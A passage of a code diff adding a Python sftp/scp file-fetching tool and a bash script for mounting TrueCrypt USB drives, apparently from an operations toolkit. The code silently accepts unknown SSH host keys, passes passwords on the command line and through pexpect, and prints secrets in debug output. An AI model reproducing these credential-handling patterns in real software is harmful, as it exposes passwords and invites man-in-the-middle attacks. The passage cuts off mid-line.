str(additionalArgs) + self.userLogin + '@' + self.server + sftpRunCmd='ls -l ' + self.remoteDir + print sftpCmd + " THEN RUNNING " + sftpRunCmd + print "====================================" + try: + #outputChild = fg.sftpRunCmd(sftpCmd,sftpRunCmd, self.sftpKeys) + result = fg.sftpRunCmd(sftpCmd,sftpRunCmd, self.sftpKeys) + except CustomException, (instance): + print bcolors.BOLD + bcolors.FAIL + "\n\t[!] " + instance.parameter + bcolors.ENDC + "\n\n" + exit(0) + + #lines = string.split(str(outputChild.before), "\r\n") + #outputChild.close() + #result = string.split(str(outputChild.before), "\r\n") + lines = string.split(str(result), "\r\n") + + fileList = {} + print "\t[+] Getting list of files...\n" + for line in lines: + if file_re.match(line): + filename = re.split('\s+', line) + nf = string.strip(filename[len(filename)-1]) + nftype = string.strip(filename[0]) + if not (nf == "." or nf == ".."): + fileList[nf] = nftype + cnt = 1 + keys = fileList.keys() + keys.sort() + fileList2 = {} + for key in keys: + print "\t[%3s] %10s %s" % (cnt, fileList[key], key) + fileList2[cnt] = [key, fileList[key]] + cnt = cnt + 1 + if cnt > 1: + print "Please select file(s) to copy: (\"all\" | num,[num...] | part of the filename) q = quit" + filesget = raw_input('-->') + print "====================================\n" + else: + print "NO FILES WAITING! SKIPPING PROMPT!" + filesget = "quit" + + if filesget == "q" or filesget == "quit": + exit(0) + elif filesget == "all": + #get all files + for key in keys: + cmd = "scp " + str(additionalArgs) + self.userLogin + "@" + self.server + ":" + self.remoteDir + key + " " + self.destDir + print "\t[+] " + cmd + try: + outputChild = fg.nixRunIt(cmd, self.sshKeys) + except CustomException, (instance): + print bcolors.BOLD + bcolors.FAIL + "\n\t[!] " + instance.parameter + bcolors.ENDC + "\n\n" + exit(0) + print "\t=======" + #get #,# | # # + elif re.match("[0-9\,]+", filesget): + filesget = filesget.replace(", ", ",") + tmpF = re.split(",|\s", filesget) + for i in tmpF: + #catch error when user put in number out of index, or not an INT + if str(i).isdigit() and int(i) <= int(len(keys)): + cmd = "scp " + str(additionalArgs) + self.userLogin + "@" + self.server + ":" + self.remoteDir + str(fileList2[int(i)][0]) + " " + self.destDir + print "\t[+] " + cmd + try: + outputChild = fg.nixRunIt(cmd, self.sshKeys) + except CustomException, (instance): + print bcolors.BOLD + bcolors.FAIL + "\n\t[!] " + instance.parameter + bcolors.ENDC + "\n\n" + exit(0) + print "\t=======" + else: + #raise CustomException("\t[!] BAD USER INPUT FORMAT! - %s, MALFORMED CHARACTER OR INDEX OUT OF BOUNDS!!" % i) + if str(i).isdigit() and int(i) > int(len(keys)): + + #try a wildcard get on the file even though it is an integer before bailing out + getFileStr = "*" +str(i) + "*" + cmd = "scp " + str(additionalArgs) + self.userLogin + "@" + self.server + ":" + self.remoteDir + getFileStr + " " + self.destDir + print "\t[+] " + cmd + try: + #TODO properly handle the output for when this matches multiple files (it works it just doesn't show all the files that got copied) + outputChild = fg.nixRunIt(cmd, self.sshKeys) + except CustomException, (instance): + print bcolors.BOLD + bcolors.FAIL + "You either entered a number that was invalid or a filename with digits only which apparently wasn't on the server" + print bcolors.BOLD + bcolors.FAIL + "\n\t[!] " + instance.parameter + bcolors.ENDC + "\n\n" + exit(0) + + #print bcolors.BOLD + bcolors.FAIL + "\t[!] BAD USER INPUT! <" + str(i) + "> INDEX OUT OF BOUNDS, SKIPPING TO NEXT ONE..." + bcolors.ENDC + #print "\t=======" + else: + print bcolors.BOLD + bcolors.FAIL + "\t[!] NO IDEA WHAT YOU DID! <" + str(i) + ">, SKIPPING TO NEXT ONE..." + bcolors.ENDC + print "\t=======" + #get filename match + #TODO fixup case where string is given that doesn't match ( ie someone accidentally types filename,1,3 ) + elif re.match('\w+', filesget): + for key in keys: + if re.search(filesget, key, re.IGNORECASE | re.VERBOSE): + cmd = "scp " + str(additionalArgs) + self.userLogin + "@" + self.server + ":" + self.remoteDir + key + " " + self.destDir + print "\t[+] " + cmd + try: + outputChild = fg.nixRunIt(cmd, self.sshKeys) + except CustomException, (instance): + print bcolors.BOLD + bcolors.FAIL + "\n\t[!] " + instance.parameter + bcolors.ENDC + "\n\n" + exit(0) + print "\t=======" + #This seems to not be needed + #elif (keys=1): #if we get througnall keys and no match: + # print "DEBUGGING key " + key + " keys " + str(keys) + " filesget " + filesget + # raise CustomException("\t[!] FILE MATCH NOT FOUND! - THINK ABOUT WHAT YOU WANT THEN TRY AGAIN!!") + else: + raise CustomException("\t[!] BAD USER INPUT FORMAT! - THINK ABOUT WHAT YOU WANT THEN TRY AGAIN!!") + + #-------------------------------- + def winRunIt(self, cmd): + """ + Run a command + """ + pass + #print "Running " + cmd + #p1 = Popen(cmd, stdout=PIPE, stderr=PIPE) + #output = p1.communicate()[0] + #erroutput = p1.communicate()[1] + #p1.wait() + #return output + #-------------------------------- + def sftpRunCmd(self, sftpConnectCmd, sftpCommand, expectKeys): + + child = pexpect.spawn(sftpConnectCmd, timeout=self.timeout,) + seen = child.expect(expectKeys) + workedB = False + printWorkedCNT = 0 + cnt = 0 + cnt2 = 0 + + #yup, this is a horrible duplication of code + while seen != 3: + + #print "Debugging " + str(child) + cnt = cnt + 1 + if printWorkedCNT == 1: + sys.stdout.write(bcolors.OKGREEN + "\r[OK]" + bcolors.ENDC + "\n") + sys.stdout.flush() + sys.stdout.write("\t[+] RUNNING COMMAND [ " + sftpConnectCmd + " ]") + sys.stdout.flush() + #~~~~~~~~~~~~~~~ + #authenticty + if seen == 0: + sys.stdout.write("\t[+] ACCEPTING RSA KEY...") + sys.stdout.flush() + child.sendline('yes') + seen = child.expect(expectKeys) + sys.stdout.write(bcolors.OKGREEN + "\r[OK]" + bcolors.ENDC + "\n") + sys.stdout.flush() + #assword: + if seen == 1: + child.sendline(self.userPassword) + if cnt2 < 1: + sys.stdout.write("\t[+] AUTHENTICATING WITH SSH SERVER...") + sys.stdout.flush() + else: + if cnt2 == 1: + sys.stdout.write("\r|") + sys.stdout.flush() + if cnt2 == 2: + sys.stdout.write("\r/") + sys.stdout.flush() + if cnt2 == 3: + sys.stdout.write("\r-") + sys.stdout.flush() + if cnt2 == 4: + sys.stdout.write("\r\\") + sys.stdout.flush() + cnt2 = 0 + cnt2 = cnt2 + 1 + seen = child.expect(expectKeys) + #sftp> + if seen == 4: + sys.stdout.write(bcolors.OKGREEN + "\r[OK]" + bcolors.ENDC + "\n") + sys.stdout.flush() + print "Sending command " + sftpCommand + sys.stdout.flush() + child.sendline(sftpCommand) + seen = child.expect(expectKeys) + sys.stdout.write(bcolors.OKGREEN + "\r[OK]" + bcolors.ENDC + "\n") + sys.stdout.flush() + workedB = True + #print "DEBUGGING case 4 " + str(child) + result=str(child.before) + + #now quit and cleanup + child.sendline("quit") + seen = child.expect(expectKeys) + child.close() + return result + #Connecting to ... + if seen == 5: + print "Connecting to server" + seen = child.expect(expectKeys) + + + if workedB: + sys.stdout.write(bcolors.OKGREEN + "\r[OK]" + bcolors.ENDC + "\n") + sys.stdout.flush() + sys.stdout.write(bcolors.OKGREEN + "[OK]" + bcolors.ENDC + "\t[+] SESSION COMPLETE!\n") + sys.stdout.flush() + else: + print bcolors.BOLD + bcolors.FAIL + "\n\t[!] CONNECTION ERROR - CHECK IP ADDRESS, USERNAME, OR PASSWORD\n\n" + sys.stdout.flush() + #seen = child.expect(expectKeys) + return(child) + #-------------------------------- + def nixRunIt(self, cmd, expectKeys): + """ + Controls Pexpect for + """ + child = pexpect.spawn(cmd, timeout=self.timeout,) + seen = child.expect(expectKeys) + workedB = False + printWorkedCNT = 0 + cnt = 0 + cnt2 = 0 + while seen != 6: + cnt = cnt + 1 + if printWorkedCNT == 1: + sys.stdout.write(bcolors.OKGREEN + "\r[OK]" + bcolors.ENDC + "\n") + sys.stdout.flush() + sys.stdout.write("\t[+] RUNNING COMMAND [ " + cmd + " ]") + sys.stdout.flush() + #~~~~~~~~~~~~~~~ + #authenticty + if seen == 0: + sys.stdout.write("\t[+] ACCEPTING RSA KEY...") + sys.stdout.flush() + child.sendline('yes') + seen = child.expect(expectKeys) + sys.stdout.write(bcolors.OKGREEN + "\r[OK]" + bcolors.ENDC + "\n") + sys.stdout.flush() + #assword: + if seen == 1: + child.sendline(self.userPassword) + if cnt2 < 1: + sys.stdout.write("\t[+] AUTHENTICATING WITH SSH SERVER...") + sys.stdout.flush() + else: + if cnt2 == 1: + sys.stdout.write("\r|") + sys.stdout.flush() + if cnt2 == 2: + sys.stdout.write("\r/") + sys.stdout.flush() + if cnt2 == 3: + sys.stdout.write("\r-") + sys.stdout.flush() + if cnt2 == 4: + sys.stdout.write("\r\\") + sys.stdout.flush() + cnt2 = 0 + cnt2 = cnt2 + 1 + seen = child.expect(expectKeys) + #denied: + if seen == 2: + workedB = False + child.kill(0) + raise CustomException("ACCESS DENIED! - CHECK USERNAME OR PASSWORD\n\n\t!! IF YOU SEE A DIALOG BOX CLOSE PRESS CANCEL !!") + #'No such file or directory', + if seen == 3: + #workedB = False + child.kill(0) + sys.stdout.write(bcolors.OKGREEN + "\r[OK]" + bcolors.ENDC + "\n") + sys.stdout.flush() + raise CustomException("FILE MATCH NOT FOUND! - MAYBE THERE ARE NO FILES WAITING FOR YOU ON THE SERVER?") + #100% + if seen == 4: + printWorkedCNT = printWorkedCNT + 1 + workedB = True + sys.stdout.write(bcolors.OKGREEN + "\r[OK]" + bcolors.ENDC + "\n") + sys.stdout.flush() + sys.stdout.write("\t") + sys.stdout.flush() + tmpStr = str(child.before) + tmpStr = tmpStr.replace("\r", "") + tmpStr = tmpStr.replace("\d", "") + tmpStr = tmpStr.replace("\n", "") + sys.stdout.write(tmpStr) + sys.stdout.flush() + seen = child.expect(expectKeys) + #ETA + if seen == 5: + printWorkedCNT = printWorkedCNT + 1 + workedB = True + if cnt == 1: + sys.stdout.write("\r|") + sys.stdout.flush() + if cnt == 2: + sys.stdout.write("\r/") + sys.stdout.flush() + if cnt == 3: + sys.stdout.write("\r-") + sys.stdout.flush() + if cnt == 4: + sys.stdout.write("\r\\") + sys.stdout.flush() + cnt = 1 + seen = child.expect(expectKeys) + #Permission denied + if seen == 7: + workedB = False + child.kill(0) + raise CustomException("ACCESS DENIED! - CHECK USERNAME OR PASSWORD\n\n\t!! IF YOU SEE A DIALOG BOX CLOSE PRESS CANCEL !!") + workedB = True + #total (result from an ls when a key is used versus password authentication) + if seen == 8: + wokedB = True + sys.stdout.write("\t[+] REMOTE LISTING COMPLETE.") + sys.stdout.flush() + seen = child.expect(expectKeys) + + if workedB: + sys.stdout.write(bcolors.OKGREEN + "\r[OK]" + bcolors.ENDC + "\n") + sys.stdout.flush() + sys.stdout.write(bcolors.OKGREEN + "[OK]" + bcolors.ENDC + "\t[+] SESSION COMPLETE!\n") + sys.stdout.flush() + else: + print bcolors.BOLD + bcolors.FAIL + "\n\t[!] CONNECTION ERROR - CHECK IP ADDRESS, USERNAME, OR PASSWORD\n\n" + sys.stdout.flush() + #seen = child.expect(expectKeys) + return(child) + + #-------------------------------- +class CustomException(Exception): + """ + Custom Exceptions...kinda + """ + def __init__(self, value): + self.parameter = value + def __str__(self): + return repr(self.parameter) + +#-------------------------------- +class bcolors: + """ + Pretty colors on the console + """ + HEADER = '\033[95m' + OKBLUE = '\033[94m' + OKGREEN = '\033[92m' + WARNING = '\033[93m' + FAIL = '\033[91m' + ENDC = '\033[0m' + BOLD = '\033[1m' + def disable(self): + self.HEADER = '' + self.OKBLUE = '' + self.OKGREEN = '' + self.WARNING = '' + self.FAIL = '' + self.BOLD = '' + self.ENDC = '' + +#-------------------------------- + +if(__name__ == "__main__"): + """ + Main + """ + # setup args + VER = '2.0.0.1' + parser = OptionParser(usage='%prog -l -u -p -s (--sharedDIR|--userDIR|--diskDIR) [-f PART_OF_FILENAME]', add_help_option = True) + #connection info + parser.add_option("-v", dest="versionB", action="store_true", default=False) + parser.add_option("-l", "--LoginUser", dest="userLogin", help="Your server login username") + parser.add_option("-u", "--userID", dest="userID", help="Your user ID number") + parser.add_option("-p", "--pass", dest="userPassword", default=None, help="Your password") + parser.add_option("-s", "--server", dest="server", help="The server to connect to") + #types + parser.add_option("--sharedDIR", dest="sharedDIRBool", action="store_true", default=False, help="Get files from shared directory") + parser.add_option("--userDIR", dest="userDIRBool", action="store_true", default=False, help="Get files from user directory") + parser.add_option("--diskDIR", dest="diskDIRBool", action="store_true", default=False, help="Get files from disk directory") + parser.add_option("-f", "--file", dest="fileWildcard", default=None, help="Get files with this wildcard; REGEX used => .*YOURTEXT.*") + parser.add_option("-i", "--privKeyFile", dest="privKeyFile", default=None, help="Keyfile to use for server authentication") + + parser.add_option("--debug", dest="debugBool", action="store_true", default=False, help="Prints more stuff to the screen") + parser.add_option("--timeout", dest="timeout", default=120, help="Overrides the timeout for ssh sessions to server") + (options, sys.argv) = parser.parse_args(sys.argv) + + #print "login:" + options.userLogin + "\nuser:" + options.userID + "\npass:" + options.userPassword + "\nserver:" + options.server + "\nshared:" + str(options.sharedDIRBool) + "\nuser:" + str(options.userDIRBool) + "\ndisk:" + str(options.diskDIRBool) + "\nwildcard:" + str(options.fileWildcard) + "\ndebug:" + str(options.debugBool) + "\ntimeout:" + str(options.timeout) + + if options.versionB: + print VER + exit(0) + + #User must put in one of these options or fail! + if not(options.sharedDIRBool or options.userDIRBool or options.diskDIRBool): + print "\n\n!!! DID NOT SPECIFY TYPE !!!\n\t[--sharedDIR | --userDIR | --diskDIR]\n\n" + exit(0) + + try: + fg = fg(options.userLogin, options.userID, options.userPassword, options.server, sharedDIRBool=options.sharedDIRBool, userDIRBool=options.userDIRBool, diskDIRBool=options.diskDIRBool, fileWildcard=options.fileWildcard, debugBool=options.debugBool, timeout=options.timeout, privKeyFile=options.privKeyFile) + + except: + print "\n\n!!! FG EXCEPTION !!!\n!!! CHECK USAGE !!!" + print "usage: fg.py -l -u -p -s (--sharedDIR|--userDIR|--diskDIR) [-f PART_OF_FILENAME]\n\n" + try: + raise CustomException("ACCESS DENIED! - CHECK USERNAME OR PASSWORD\n\n\t!! IF YOU SEE A DIALOG BOX CLOSE PRESS CANCEL !!") + except CustomException, (instance): + print bcolors.BOLD + bcolors.FAIL + instance.parameter + bcolors.ENDC + "\n\n" + + if options.debugBool: print sys.exc_info() + if options.debugBool: print str(traceback.tb_lineno(sys.exc_traceback)) + exit(0) + #shared + if options.sharedDIRBool: + if options.debugBool: print "SHARED!!" + if options.fileWildcard: + print "AUTO GET WITH WILDCARD %s" % options.fileWildcard + try: + fg.fgAutoGet() + except CustomException, (instance): + print bcolors.BOLD + bcolors.FAIL + instance.parameter + bcolors.ENDC + "\n\n" + exit(0) + else: + print "PROMPT USER FILENAMES TO GET" + try: + fg.fgManualGet() + except CustomException, (instance): + print bcolors.BOLD + bcolors.FAIL + instance.parameter + bcolors.ENDC + "\n\n" + exit(0) + #user + elif options.userDIRBool: + if options.debugBool: print "USER_DIR!!" + if options.fileWildcard: + print "AUTO GET WITH WILDCARD %s" % options.fileWildcard + try: + fg.fgAutoGet() + except CustomException, (instance): + print bcolors.BOLD + bcolors.FAIL + instance.parameter + bcolors.ENDC + "\n\n" + exit(0) + else: + print "PROMPT USER FILENAMES TO GET" + try: + fg.fgManualGet() + except CustomException, (instance): + print bcolors.BOLD + bcolors.FAIL + instance.parameter + bcolors.ENDC + "\n\n" + exit(0) + #disks + elif options.diskDIRBool: + if options.debugBool: print "DISK!!" + if options.fileWildcard: + print "AUTO GET WITH WILDCARD %s" % options.fileWildcard + try: + fg.fgAutoGet() + except CustomException, (instance): + print bcolors.BOLD + bcolors.FAIL + instance.parameter + bcolors.ENDC + "\n\n" + exit(0) + else: + print "PROMPT USER FILENAMES TO GET" + try: + fg.fgManualGet() + except CustomException, (instance): + print bcolors.BOLD + bcolors.FAIL + instance.parameter + bcolors.ENDC + "\n\n" + exit(0) + + print "\n\n\n" +#---------------------------------- diff --git a/Linux/bin/file:%2F%2F%2Froot%2FDesktop.xml b/Linux/bin/file:%2F%2F%2Froot%2FDesktop.xml new file mode 100644 index 0000000..a23636d --- /dev/null +++ b/Linux/bin/file:%2F%2F%2Froot%2FDesktop.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/Linux/bin/findzip b/Linux/bin/findzip new file mode 100755 index 0000000..9b90379 --- /dev/null +++ b/Linux/bin/findzip @@ -0,0 +1,845 @@ +#!/bin/bash +VER=2.1.0.14 +## 17 Dec 2012 +# shell script to unmount encrypted partitions. This could be done easily with +# a truecrypt command, but for backwards compatability sake, this script needs +# has been modified. +## + +# This program is a bash script, and other scripts can source $PROG to +# import (but not run) the function findzipdev. See $PROG source for +# more detail. When the script runs findzipdev() it will then have +# the MNTPNT* definitions for those that are mounted. + +MNTPNTBASE="/mnt/zip" +KEYFILE="/etc/keyfile" +export TRUECRYPT=1 +export UNMOUNT=0 +export MNTPNT1="/mnt/zip" +export MNTPNT2="/mnt/zip2" +export MNTPNT3="/mnt/zip3" +FG=0 #Indicate whether we are doing a thumb free TC mount +FGFRESHEN=0 #Indicate if we are just updating user and shared files (no ops disk) +ULSRC=0 #Whether to use ULS RC version from FG server to upgrade /usr/local/sbin +TEMP="/home/black/tmp/fg" +# production server FGSRV can be set prior to execution if desired, e.g.: +# FGSERV=10.1.1.1 findzip +if [[ -z "$FGSRV" ]] ; then + FGSRV=10.0.129.254 + if [ -e /home/black/tmp/fgTest ] ; then + # To test, create this file with FGSRV 1.2.3.4 + FGSRV=`cat /home/black/tmp/fgTest | awk '{print $2}'` + echo "/home/black/tmp/fgTest exists, setting FGSRV = $FGSRV" + elif [ -e /mnt/hgfs/host/site.txt ] ; then + case `cat /mnt/hgfs/host/site.txt` in + North) + FGSRV=10.0.129.254 + ;; + South) + FGSRV=10.11.129.253 + ;; + East) + FGSRV=10.21.129.254 + ;; + West) + FGSRV=10.31.129.254 + ;; + esac + fi +fi + +FGUSER=op +FGCURRENTLOC=/current/fg +FGPROMPTTYPE=0 + +#if using password: FGKEYAUTH="none" +FGKEYAUTH="/etc/keyfile.scp" + +TIMEOUT=0 +#DEBUG=1 + +#Need to figure out if we are gen3 and our site (will be used to determine FG SRV IP in the future) +FGGEN3SITE="`cat /mnt/hgfs/host/site.txt 2>/dev/null`" +#Set FGGEN3 to something, this is only used locally scrubhands does its own check and setting of this var in it's context +[ "$FGGEN3SITE" ] && FGGEN3="YES -- Site = $FGGEN3SITE" + +[ "$DEBUG" ] && echo "DEBUGGING ON" + +# Grab our OPUSER if we've got one +if [ -e /current/down/opnotes.txt ]; then + TMPOPUSER=`grep -i OPUSER /current/down/opnotes.txt | awk -F= '{ print $2 }'` + if [ $TMPOPUSER ]; then OPUSER=$TMPOPUSER ; fi + [ "$DEBUG" ] && echo "Attempted to read OPUSER from opnotes, result is: $OPUSER" +fi + +findzipdev() { + +# +# All these exports are legacy, I would rather leave them in than risk +# breaking something +# + export MNTPNT1="/mnt/zip" + export MNTPNT2="/mnt/zip2" + export MNTPNT3="/mnt/zip3" + export ALLMNTS="$MNTPNT1 $MNTPNT2 $MNTPNT3" + export LASTMNT=`echo $ALLMNTS | sed "s/.* //g"` + + [ "$*" = "-u" ] && UNMOUNT=1 + [ "$*" = "-f" ] && FG=1 #if we were called with -f set our var + [ "$*" = "-F" ] && FG=1 && FGFRESHEN=1 #if we were called with -f set our var + + # + # If the -ause kernel module is not loaded, truecrypt cannot mount the + # encrypted partition, this checks and tries to load it + # + + FUSE_DRIVER_LOADED=`lsmod | grep "^fuse"` +# echo "FUSE_DRIVER_LOADED=${FUSE_DRIVER_LOADED}" + if [[ -z ${FUSE_DRIVER_LOADED} ]] ; then + echo "fuse module not loaded, attempting to load it" ; + modprobe fuse + FUSE_DRIVER_LOADED=$? +# echo "FUSE_DRIVER_LOADED=${FUSE_DRIVER_LOADED}" + if [[ ${FUSE_DRIVER_LOADED} -gt 0 ]] ; then + echo "Loading module failed, exiting"; exit -1 ; + fi + fi + + +# +# Legacy Variables, could probably get rid of them +# + + # Our /mnt/zip* devices + DEV1=`mount | grep " on $MNTPNT1 " | head -1 | sed "s/ .*//g"` + DEV2=`mount | grep " on $MNTPNT2 " | head -1 | sed "s/ .*//g"` + DEV3=`mount | grep " on $MNTPNT3 " | head -1 | sed "s/ .*//g"` + + # Other non /mnt/zip* devices + OTHDEV1=`mount | grep -v " on $MNTPNT1" | grep "^/" | head -1 | sed "s/ .*//g"` + OTHDEV2=`mount | grep -v " on $MNTPNT1" | grep "^/" | head -2 | tail -1 | sed "s/ .*//g"` + [ "$OTHDEV2" = "$OTHDEV1" ] && OTHDEV2="" + OTHDEV3=`mount | grep -v " on $MNTPNT1" | grep "^/" | head -3 | tail -1 | sed "s/ .*//g"` + [ "$OTHDEV3" = "$OTHDEV2" -o "$OTHDEV3" = "$OTHDEV1" ] && OTHDEV3="" + + MNT1=`mount | grep " on $MNTPNT1 " | head -1 | sed "s/.* on //g" | sed "s/ .*//g"` + MNT2=`mount | grep " on $MNTPNT2 " | head -1 | sed "s/.* on //g" | sed "s/ .*//g"` + MNT3=`mount | grep " on $MNTPNT3 " | head -1 | sed "s/.* on //g" | sed "s/ .*//g"` + + +# +# This next line greps through /var/log/messages and pulls out USB devices. +# It pulls out sd[abc] etc instead of sd[abc]1 because we are using full disk +# encryption and therfore don't have sd[abc]1 +# + USBDEVS=`egrep "kernel: Attached scsi removable disk" /var/log/messages | sed "s/^.*removable disk sd\([a-h]\).*$/sd\1/g" | sort | uniq` + +[ "$DEBUG" ] && echo USBDEVS=$USBDEVS + +# +# If any USB devices are mounted, unmount them. I am not sure if this will +# unmount CDROM drives, I guess it depends on if they are recognized as scsi +# removable disks. We should never mount a thumb drive once this goes into +# effect. +# + echo "Unmounting all USB devices" + for USBDEV in $USBDEVS; do + umount /dev/${USBDEV}* 2>/dev/null + done + +# +# If we are called as uz or with the -u option, unmount everything and return +# + RESULT2=0 + if [ $UNMOUNT -gt 0 ] ; then + #Figure out what we've got mounted (a block special dev aka thumb or file) + TCLIST=`truecrypt --list 2>/dev/null| awk '{ print $2}'` + TCLISTMNTDIR=`truecrypt --list 2>/dev/null| awk '{ print $4}'` + + # If we have any truecrypt files mounted (ie FG mode) - try to remove it + if [ ! "$TCLIST" == "" ]; then + echo "Unmounting all truecrypt partitions." + truecrypt -d + RESULT2=$? + TCFILES=$(echo $TCLIST | tr "\n", " " ) + #Get our list of mount locations we need to blow away (ommitting /share/down/zip) + TCDIRS=$(echo $TCLISTMNTDIR | sed 's#/share/down/zip##' | tr "\n", " " ) + [ "$DEBUG" ] && echo "TCFILES is *$TCFILES* TCDIRS is *$TCDIRS*" + + for TCMNTFILE in $TCFILES $TCDIRS; do + [ "$DEBUG" ] && echo "TCMNTFILE is $TCMNTFILE" + if [ -f $TCMNTFILE ]; then + + unset REMTCMNTFILE + while [ "$REMTCMNTFILE" != "y" -a "$REMTCMNTFILE" != "n" ] ; do + echo "Would you like to remove local temporary TC file (RECOMMENDED UNLESS YOU NEED TO REMOUNT MANUALLY): ${TCMNTFILE} (y/n)?" + read REMTCMNTFILE + done + if [ $REMTCMNTFILE == "y" ] ; then + `rm -f ${TCMNTFILE}` + elif [ $REMTCMNTFILE == "n" ] ; then + echo "!!! YOU NEED TO REMOVE ${TCMNTFILE} ON YOUR OWN WHEN YOU ARE DONE COPYING DATA OUT OF THE TC FILE !!!" + fi + + fi #if the file exists + + if [ -d $TCMNTFILE ]; then + echo "Removing mount location $TCMNTFILE" + rmdir $TCMNTFILE + fi + + done #for TCMNTFILE + fi # if we have any tc --list output + + #now cleanup shared and user storage if there are files there + while [ "$REMFGTMP" != "y" -a "$REMFGTMP" != "n" ] && [ -d /home/black/tmp/fg/localCopy ] ; do + find ${TEMP}/localCopy/* -type d | xargs ls -latrR + echo "Would you like to remove the above user and shared FG files (y/n)?" + read REMFGTMP + done + if [ "$REMFGTMP" == "y" ] ; then `find ${TEMP}/localCopy -type d | xargs rm -fr`; fi + + + if [ $TRUECRYPT -gt 0 ] ; then + echo "Unmounting all truecrypt partitions." + truecrypt -d + RESULT2=$? + LEFTOVER=`truecrypt --list 2>/dev/null` + [[ -z "$LEFTOVER" ]] || return 1 + [[ -z "$LEFTOVER" ]] && return 0 + else + echo umount ${MNTPNTBASE}* + umount ${MNTPNTBASE}* 2>/dev/null + RESULT2=$? + fi + + rmdir ${MNTPNTBASE}* 2>/dev/null + return $RESULT2 + fi + + +# +# This is the heart of the new code. MNTPNTBASE (defined at the top of this +# file) holds the first mount point to try. If that one is already mounted, or +# is non-directory file, then increment by one and try again (/mnt/zip2, etc) +# there is no hard stop here. Conceviebly, you could get to /mnt/zip999, but +# I hope not. +# + + MNTPNT="${MNTPNTBASE}" + ZIPNUM="1" + RESULT=1 + for USBDEV in ${USBDEVS}; do + + #if we are in FG mode, don't mount a TC thumb + if [ $FG -gt 0 ]; then + echo "WARNING: We aren't mounting your thumb drive, rerun mz with -t and don't use -f (or any other FG options) if you want to do this!"; + break; + fi + + if [ ! -e /dev/${USBDEV} ] ; then continue; fi + while [ -e "${MNTPNT}" -a ! -d "${MNTPNT}" ]; do + # echo "${MNTPNT} exists and is not a folder, skipping" + ZIPNUM=`echo "$ZIPNUM + 1" | bc` + MNTPNT="${MNTPNTBASE}${ZIPNUM}" + continue + done + MNTRESULTS=`mount | egrep " on $MNTPNT "` + while [ -n "${MNTRESULTS}" ] ; do + # echo "${MNTPNT} is already mounted to, moving on" + ZIPNUM=`echo "$ZIPNUM + 1" | bc` + MNTPNT="${MNTPNTBASE}${ZIPNUM}" + MNTRESULTS=`mount | egrep " on $MNTPNT "` + done + + # + # If the mount point we are trying to mount to does not exist, create it. + # + [[ -d ${MNTPNT} ]] || mkdir ${MNTPNT} + + # + # The one truecrypt line does most of the work. + # + [ -e /dev/${USBDEV}1 -a -b /dev/${USBDEV}1 ] && USBDEV="${USBDEV}1" && export ${USBDEV} + if [ $TRUECRYPT -gt 0 ] ; then + echo "Mounting /dev/${USBDEV} READONLY to ${MNTPNT} with truecrypt::" + echo "# truecrypt -t -k \"${KEYFILE}\" -m ro /dev/${USBDEV} ${MNTPNT} 2>/dev/null " + truecrypt -t -k "${KEYFILE}" -m ro /dev/${USBDEV} ${MNTPNT} 2>/dev/null + else + echo "Mounting /dev/${USBDEV} READONLY to ${MNTPNT} without truecrypt::" + echo "# mount -o ro /dev/${USBDEV} $MNTPNT" + mount -o ro /dev/${USBDEV} $MNTPNT + fi + # + # After a successful mount, ls the zip drive + # + SUCCESS=$? + # echo "SUCCESS=$SUCCESS" + if [ ${SUCCESS} -eq 0 ] ; then RESULT=0; fi + [ ${SUCCESS} -eq 0 ] && echo "ls -alrtd ${MNTPNT}/*" + [ ${SUCCESS} -eq 0 ] && ls -alrtd ${MNTPNT}/* + [ ${SUCCESS} -gt 0 ] && echo + done + + # + # If we getting the files w/o a thumb + # + FGADDLARGS="" + if [ $FG -gt 0 ]; then + + if [ ${TIMEOUT} -gt 0 ] ; then + FGADDLARGS=`echo $FGADDLARGS --timeout $TIMEOUT` + fi + + if [ "$FGALTUSER" != "" ] ; then + OPUSER=$FGALTUSER + fi + + if [ "$OPUSER" == "" ] ; then + #Read our OPUSER from env if it is there... + OPUSER=`echo $OPUSER` + + TEST=`echo "$OPUSER" | tr -d "0-9"` + if [ "$TEST" ] ; then + echo "Invalid USERID (\$OPUSER=${OPUSER}), must be all digits" && exit; + else + echo "Unable to determine your USER ID, please enter it now" + read OPUSER + fi + fi + if [ ${FGPROMPTTYPE} -eq 1 ] ; then + echo "Please view the options and enter a valid type" + fg.py -h + echo "Enter your comma seperated selection (ie unix_rc,win_rel):" + read FGTYPE + elif [ "$FGTYPE" == "" ]; then + FGTYPE="unix_rel" # our default case + fi + echo $FGTYPE | grep -q unix_rc && ULSRC=1 + + + # If we are doing a full mz -f, drop data into temp dir since there is no /current yet + #if [ $FGFRESHEN -eq 0 -a $FG -gt 0 ] ; then + # FGCURRENTLOC="${TEMP}/localCopy/" + #else [ $FGFRESHEN -eq 1 -a $FG -gt 0 -a ! -e "/current" ] + # echo "doing an mz -F before scrubbing, files will be put in ${TEMP}/localCopy/ for now" + # FGCURRENTLOC="${TEMP}/localCopy/" + #fi + + if [ $FG -gt 0 -a -e "/current" ] ; then + #This is the default case, but to be sure + FGCURRENTLOC=/current/fg + elif [ $FG -gt 0 ] ; then + #Set our copy dir to temporary location for scrubhands to move later + FGCURRENTLOC=${TEMP}/localCopy/ + echo "Looks like we haven't scrubbed yet, setting FG dir to $FGCURRENTLOC" + fi + + #Create mount point and temp dir if needed + [[ -d ${MNTPNT} ]] || mkdir ${MNTPNT} + [[ -d ${TEMP} ]] || mkdir ${TEMP} + [[ -d ${FGCURRENTLOC}/${OPUSER} ]] || mkdir -p ${FGCURRENTLOC}/${OPUSER} + [[ -d ${FGCURRENTLOC}/shared ]] || mkdir -p ${FGCURRENTLOC}/shared + + # Set FG usage information for scrubhands tracker use + if [ $FGFRESHEN -eq 0 -a $FG -gt 0 ] ; then + DATE=`date -u` + SITE=`cat /mnt/hgfs/host/site.txt | tr -d '\n'` + TRANSSITE=`echo $SITE | sed 's#North#0#' | sed 's#South#10#' | sed 's#South-NEW#11#' | sed 's#East#20#' | sed 's#East-NEW#21#' | sed 's#West#30#' | sed 's#West-NEW#31#'` + HOST=`cat /mnt/hgfs/host/host.txt | tr -d '\n'` + OPNAME=`cat /mnt/hgfs/host/opname.txt | tr -d '\n'` + PRIVIP="10.$TRANSSITE.130.$HOST" + echo "$DATE $PRIVIP TYPE $FGTYPE OPNAME $OPNAME" > $FGCURRENTLOC/fg.log + fi + + [ "$DEBUG" ] && echo "DEBUGGING: FGSRVPASS: $FGSRVPASS and FGTCPASS: $FGTCPASS" + + # If the password wasn't set coming into the script (unless we have a keyfile): + if [ ! "$FGSRVPASS" -a $FG -gt 0 -a 